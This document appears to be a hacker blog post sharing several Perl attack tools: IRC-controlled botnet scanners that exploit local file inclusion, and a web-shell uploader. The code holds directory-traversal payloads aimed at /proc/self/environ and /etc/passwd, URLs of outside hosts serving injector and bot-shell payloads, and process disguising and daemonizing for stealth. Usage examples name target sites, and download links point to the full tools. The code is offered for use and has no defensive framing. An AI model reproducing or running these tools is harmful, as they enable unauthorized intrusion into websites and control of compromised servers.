nob0dy Priv8 Scanner SE v1.2

#!/usr/bin/perl

# nob0dy Priv8 Scanner SE v1.2
# Coded by Vrs-hCk
# ander[at]antisecurity.org
# Last Edited: Jun 21 2010

# How to use:
# perl nob0dy.pl irc.server.net 6667 nick ident chan admin /usr/sbin/fakeproc

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
use MIME::Base64;

my $datetime = localtime;

my $fakeproc = $ARGV[6];
$ircserver = $ARGV[0] unless $ircserver;
my $ircport = $ARGV[1];
my $nickname = $ARGV[2];
my $ident = $ARGV[3];
my $channel = '#'.$ARGV[4];
my $admin = $ARGV[5];
my $fullname = "( moded by TengkorakCrew aNd Friends )";

my $nob0dy = " 15( 7@ 2nob0dy 15) ";
my $lfilogo = " 15( 7@ 2LFI 15)";
my $lfdlogo = " 15( 7@ 2LFD 15)";
my $e107logo = " 15( 7@ 2e107 15)";

my $lficmd = '!lfi';
my $lfdcmd = '!lfd';
my $e107cmd = '!e107';

my $injector = "http://www.bejame.com/wp-content/uploads/2012/06/lfiinjector.txt";
my $botshell = "http://bedet-ict.nl/components/com_users/views/remind/tmpl/robots.txt";

my $uagent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6';
my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ";
my $lfdoutput = "root:(.+):(.+):(.+):(.+):(.+):(.+)";

if (@ARGV == 7) {
print "\n[+] nob0dy Priv8 Scanner SE\n".
"[+] IRC Host : $ircserver\n".
"[+] IRC Port : $ircport\n".
"[+] Bot Nick : $nickname\n".
"[+] Bot Ident : $ident\n".
"[+] Channel : $channel\n".
"[+] Bot Admin : $admin\n".
"[+] Process/PID : $fakeproc - $$\n\n";
}

Download script + lfiinjektor : Priv8 Scanner SE v1.2.rar

Simple Shell Uploader via LFI

################################

### Simple Shell Uploader via LFI Bugz

### Version 1.0

### edit By Arch_fajri

### arch_fajri@yahoo.co.id

### http://lampunghacker.blogspot.com

### Google@allnetwork

### Desember @ 2010

################################

#!/usr/bin/perl -w

use HTTP::Request;

use LWP::UserAgent;

use IO::Socket;

if (@ARGV != 3) { print "\n [!] perl $0 \n"; exit(); }

$host = $ARGV[0];

$path = $ARGV[1];

$lfibug = $ARGV[2];

$environ = '../../../../../../../../../../../../../../../proc/self/environ';

if ($host =~ /http:\/\// ) { $host = str_replace($host,"http:\/\/",''); }

$xpl = $host.$path.$lfibug.$environ;

---------------------------------------------------------

Contoh cara pengguanaan

• perl lampunghacker.txt lampungcyber.org / "index.php?option=com_ckforms&controller=" atau
• perl lampunghacker.txt lampungcyber.web.id /pcprintersolutixxx/ "index.php?option=com_ckforms&controller="

---------------------------------------------------------

Download di sini

Sumber : antisecurity

Apache Conf Scanner v1.0

################################

# Apache Conf Scanner v1.0

# Coded by Vrs-hCk

# d00r[at]telkom[dot]net

# Copyleft © 2009 VopCrew UnderGrounD

################################

use HTTP::Request;

use LWP::UserAgent;

use IO::Socket;

use IO::Select;

use Socket;

my $fakeproc = $ARGV[6];

$ircserver = $ARGV[0] unless $ircserver;

my $ircport = $ARGV[1];

my $nickname = $ARGV[2];

my $ident = $ARGV[3];

my $channel = '#'.$ARGV[4];

my $runner = $ARGV[5];

my $fullname = ' 15( 7@ 2Apache-Conf-Scanner 15) ';

my $lficmd = '!lfi';

my $alicmd = '!c0li';

my $status = 0;

my $null_byte = "";

my $trasversal = "../../../../../../../../../../../../../../../..";

my $lfi_test = "/etc/passwd";

my $lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";

my $conf_output = "server configuration file";

my @httpd_conf = qw (

/etc/httpd/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/usr/local/etc/apache/httpd.conf

/usr/local/etc/httpd/httpd.conf

/etc/apache/conf/httpd.conf

/etc/apache2/conf/httpd.conf

/var/www/conf/httpd.conf

/usr/local/httpd/conf/httpd.conf

);

my $success = "\n [+] Apache Conf Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";

my $failed = "\n [?] perl $0 \n\n";

Download di sini

Sumber antisecurity

VopCrew IJO Scanner v1.2

##################################

# MainHack BrotherHood

##################################

##################################

# LFI Scanner (/proc/self/environ)

##################################

# VopCrew IJO Scanner v1.2

# Coded by Vrs-hCk

# ander[at]antisecurity.org

# www.antisecurity.org

# Copyright © 2010 VopCrew UnderGrounD

##################################

# perl ijoscan.pl help me !!!

##################################

# Greetz to:

# AntiSecurity.org Member, MH BrotherHood, SiD UnderGrounD, VopCrew UnderGrounD, nob0dy Crew

# NoGe, Jack, zxvf, s4va, matthews, Fluzy, aLvRea (selingkuh yuk awkawkakakaw kabor ah ada Jack :p)

# S3T4N, xr00tb0y, bl4Ck_3n91n3, wishnusakti, stardustmemory, dkk (too many :O)

use HTTP::Request;

use LWP::UserAgent;

use IO::Socket;

use IO::Select;

use Socket;

my $fakeproc = $ARGV[6];

$ircserver = $ARGV[0] unless $ircserver;

my $ircport = $ARGV[1];

my $nickname = $ARGV[2];

my $ident = $ARGV[3];

my $channel = '#'.$ARGV[4];

my $runner = $ARGV[5];

my $fullname = ' 15( 7@ 2VopCrew-IJO-Scanner 15) ';

my $ijoscan = '!ijo';

$ijo_test = "../../../../../../../../../../../../../../../proc/self/environ";

$ijo_shell = "http://yourhosting/ijoshell";

my $success = "\n [+] VopCrew IJO Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";

my $failed = "\n [-] perl $0 \n\n";

if (@ARGV != 7) { print $failed; exit(); } else { print $success; }

$SIG{'INT'} = 'IGNORE';

$SIG{'HUP'} = 'IGNORE';

$SIG{'TERM'} = 'IGNORE';

$SIG{'CHLD'} = 'IGNORE';

$SIG{'PS'} = 'IGNORE';

chdir("/");

$ircserver="$ARGV[0]" if $ARGV[0];

$0 = "$fakeproc"."\0"x16;;

my $pid = fork;

exit if $pid;

die "\n [!] Something Wrong !!!: $!" unless defined($pid);

our %irc_servers;

our %DCC;

my $dcc_sel = new IO::Select->new();

$sel_client = IO::Select->new();

Download di sini

Sumber : antisecurity